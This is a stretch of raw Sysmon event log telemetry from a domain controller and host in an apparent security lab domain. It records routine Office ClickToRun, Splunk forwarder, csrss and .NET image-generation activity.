14:44:04.878{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.850{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.850{7BD73061-6E00-613B-E006-00000000F001}59926512C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+1a4b3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+1a7f0|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+19bda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+1abaf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+1f214|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+1eaaa|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+1d886|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+8dd25|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+d4f7|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+5259c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+536d4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIntegration.dll+52b87|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:04.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Clients\Mail\Microsoft Outlook\protocols\mailto\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -c IPM.Note /mailto "%%1" 13241300x800000000000000040587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:04.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Clients\Mail\Microsoft Outlook\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /recycle 23542300x800000000000000040586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.706{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F365E3B2A8F28BE7202B345DDFC09061,SHA256=3D5A0A2FCFA0D8AEC191C61283AFFA46BCF016E2AB5572159E04DAC0CC2BF02A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000040585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.549{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48D52BF08B6AFD1D096A9213CC6B9EC1,SHA256=3C34CF6E1AA26B95E1128CA02ABFBDAE6E6AD93423974B1F9E679DABB925A367,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013810Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:07.968{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC9CE01D491BA04F909939186C06288A,SHA256=F2EFBCD1AC073A67820B333B5BDB87D9A0A31352977E4B97391FB27A2B9D265A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=34FD2646FC9FF5D05314F466330A723E,SHA256=8D9DCE4791C88C2263E21A172077B77BBF4B5F0189FB27AAB447B6205189C7E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BA5209AD01D8FDB986ABA539046C0AF2,SHA256=BB38DE867D564671DA1CC717C9E78B67CDDE597E458672B1C7980728276EABD6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DEEE65C03773BA45A79AC9B463FA8993,SHA256=1855DB24D82D2A2310434D1EA076B037D8B15D179E7A11CAA9FD7B9DA93BEC68,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.971{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1A1293203F307AFAE648744258352025,SHA256=645543304765364233524598B082293FAEE4F4CD20ED319E4F9F80B43B4CC5E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A63A91A19838E05BE6761DF6F59DEF6B,SHA256=F86669DD7E229FD44FDFEF11D817BDEE8A9B567FEA3A2B84D1D8974A1E59E2CA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.940{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A53FF01D204B1316C0016373CE80776C,SHA256=C02315188DD4CA17607919754915058DD4DA1E37496F533A9DE010C92C95E7CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.940{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=C614B0853EBDE3BFF48F551A1DE26639,SHA256=8668F0ED6A93AF41F1B4708A8E030319B9DFAB3D627383837239D17CE7CB63FA,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.940{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.924{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2D8A2D0766B0C44CDF224DB9AEA3D148,SHA256=2EA54770C454301EDC7FD15397DEFAF7BC8C9156AB66836A0ADFDC8C7D0DE4EA,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.924{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.909{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1D85BD440A59E6AFB165CFC8523EF15B,SHA256=4319D79838F767644664B7BF739D6BA9F3C85926F75EA869E77EA3E6A8DFC53A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.909{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B96C03D73D93E7AB8DBB86A272DD5367,SHA256=CD04403200A0DA7DF860568B95BE0E11D76EF528F83BA3F13A9ACF017D8744B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1144E9882B5A00D1E58AEEAD66B67A18,SHA256=37AC42124EE2C874AA87B29CBA9739063AD9617B6E7A0C5098C237E3338EC334,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=173B8766E8528EB410C4C2C0CEB5F057,SHA256=478CBB4E7E6F060C49485FCC751870147E468DFB53992484792532F10A8CC59F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=017BD5DD6B2B49BE535BBF158BA5801D,SHA256=5EBFB84961D95F2DFA7819D119ADEFDE9FED45FB29BC8A4CB93014A5784FFE91,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=EDD170F18A32D7928094998D0F847F40,SHA256=B107A192F94CB936D124B708384316725C9651255FCC5A10378A83D061BFC676,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4D466551786AFFFC23E0899A9AF03766,SHA256=D8CB728FDE204BBD02094C4FB44931D1B708C7B406EE194CC13B9E50A6D685A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4008E09F0E31E58A70BBB8933AFB1287,SHA256=F546264633DF01F067C94E10AFC6139B5CA386B5D333ABB8AF39A98A3B2A0D7C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.862{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=08A2DA5C0F5FD333CBA25957D8CBCFFE,SHA256=451556E01800A638E8745A912803AFA09E1E9C44415DBE99A6BC56B0E0AD0553,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.862{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=527C0C8F51219BCD9076BA00F29AB19B,SHA256=6BAC5207488B4D361A3DF1C65A11168BF5DFC3197A32C428FFE613FD8C7D500C,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.846{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.831{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.799{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=527C0C8F51219BCD9076BA00F29AB19B,SHA256=6BAC5207488B4D361A3DF1C65A11168BF5DFC3197A32C428FFE613FD8C7D500C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.784{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=60822DD8CF4B396063701AA21DFD243B,SHA256=37BAED762F6F5302D07875B5362758D0A01A182CC7FB13F442DDEE3A51EC88CE,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.784{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.784{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.784{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.659{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.581{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.565{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F37-613B-9408-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.534{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F37-613B-9408-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.534{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F37-613B-9408-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 11241100x800000000000000041170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:07.487{7BD73061-6F37-613B-9108-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1b08-0\Microsoft.Office.Tools.Word.Implementation.dll2021-09-10 14:44:07.487 